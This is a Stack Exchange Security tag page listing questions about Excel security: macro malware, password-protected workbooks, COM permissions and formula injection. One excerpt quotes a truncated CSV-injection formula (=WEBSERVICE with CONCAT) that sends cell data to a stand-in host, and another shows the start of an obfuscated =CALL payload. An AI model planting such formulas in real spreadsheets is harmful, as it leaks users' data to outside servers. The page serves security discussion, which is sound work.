Skip to main content
The 2024 Developer Survey results are live! See the results

Questions tagged [excel]

A spreadsheet program that is part of Microsoft Office. Security issues can involve e.g. macros and code execution in formulas. See also [office].

Filter by
Sorted by
Tagged with
0 votes
0 answers
33 views

Minimal permissions for EXCEL COM operations

I have a situation where i'm trying to limit the required permissions for an account that leverages Excel COM / process operations. Worth to be noted, this account is an AD Managed Service Account. ...
Segfault's user avatar
0 votes
1 answer
235 views

Can double-clicking an infected .xlsx file infect me if it crashed?

I downloaded an Excel (.xlsx) file from the internet. Then I tried to open it by double-clicking on it. But it suddenly crashed. Could this mean it could've contained a virus or malware?
Elon Musk's user avatar
1 vote
1 answer
204 views

Does Python in Excel have the same Security issues as VBS in Excel?

Microsoft Excel supports Python scripts (source). VBScript Macros within Excel are known to be a security risk (source). If I read this emotet article right, then VBScript macros allow arbitrary code ...
Martin Thoma's user avatar
  • 3,932
0 votes
0 answers
128 views

Secure authentication method for creating an Excel data connection to SQL Server

My company has a website with data stored in Microsoft SQL Server on the production server. The production server is not in Active Directory. The firewall allows connections to the production SQL ...
DougM's user avatar
  • 1
1 vote
0 answers
127 views

What are the ranges of values for DH parameter a and DH parameter b [closed]

I have discovered that Diffie Hellman(DH)shared key is unequal in Apple Numbers, Google Sheets, and Mac Excel (2008). In Section 1.0, the first try at a solution uses a small Prime to produce certain ...
Simple.Simon's user avatar
3 votes
2 answers
6k views

How safe is a password protected Excel file?

I have a need to send a 3rd party regular Excel files. I currently use excel password protection on the file itself and the password I use is known by the 3rd party. However, today I read a thread on ...
Iain's user avatar
  • 33
1 vote
1 answer
421 views

Does malicious MS Office xlsb file with macros posses risk to OpenOffice?

I opened malicious MS Office xlsb file with OpenOffice by huge mistake. I am wondering does it possess any risk? From what I am aware Excel macros are not compatible with OpenOffice. So I should be ...
user1324762's user avatar
35 votes
6 answers
26k views

Is it safe to store account credentials in an Excel sheet protected with a password?

Basically the title. For example, how bad is it to store passwords in an Excel sheet protected with a password, instead of storing passwords in Keypass or something else like Zoho Vault? Of course, ...
Astora's user avatar
  • 453
2 votes
0 answers
146 views

Opened compromised Excel file - am I safe?

Long story short, got duped into opening an XLSM in Excel, with macros being enabled. Realised instantly. Digged into the Excel structure, found the following (extremely obfuscated) payload: =CALL(&...
user275197's user avatar
0 votes
1 answer
2k views

Can a text file disguised as .xlsm be malicious?

A hour ago we receive a suspicious mail targeting some of our mailing lists. It contains a .zip file, itself containing a .xlsm file. This .xlsm file appears to be recognized as an ASCII text file ...
Sumak's user avatar
  • 103
2 votes
1 answer
4k views

Crack windows excel password

I have many password protected microsoft excel worksheet and I need to be able to edit it. I have forgotten the password, and I know that I can edit the file and take out the password check, but I ...
Ethan's user avatar
  • 21
10 votes
2 answers
7k views

Does "=cmd" CSV injection still exist in 2020?

I'm currently pentesting a web application on which a user can generate a CSV. I managed to exfiltrate data via CSV injection using a payload such as: =WEBSERVICE(CONCAT("http://example.com/", CONCAT(...
Scaum's user avatar
  • 301
3 votes
0 answers
2k views

How to "unprotect" malicious workbook without knowing password

Right now I'm looking at an office document (most likely rtf based on it exploiting equation editor) that opens just fine when you double click it, but on further examination in a hex editor and in ...
solumnant's user avatar
  • 133
4 votes
1 answer
643 views

Exfiltrate data by injecting functions in Excel 2007 file rendered with PHP

I need to extract data from inside an Excel fille using Excel 2007 functions. The concept is somewhat related to stored XSS type of data exfiltration only that I need to use Excel 2007 functions (...
Lucian Nitescu's user avatar
7 votes
1 answer
6k views

External command execution in Excel formulas

It's known that MS Excel functionality of external references will allow executing arbitrary commands from its formulas with appropriate security warnings and confirmation required from the user. E.g....
Peteris's user avatar
  • 8,429
6 votes
2 answers
17k views

Excel 2007 Encryption Strength

With a strong password of 10+ characters, mixed case, etc... is the encryption of an Excel 2007 document secure enough to create reasonably strong defense against a brute force attack? What ...
v15's user avatar
  • 1,771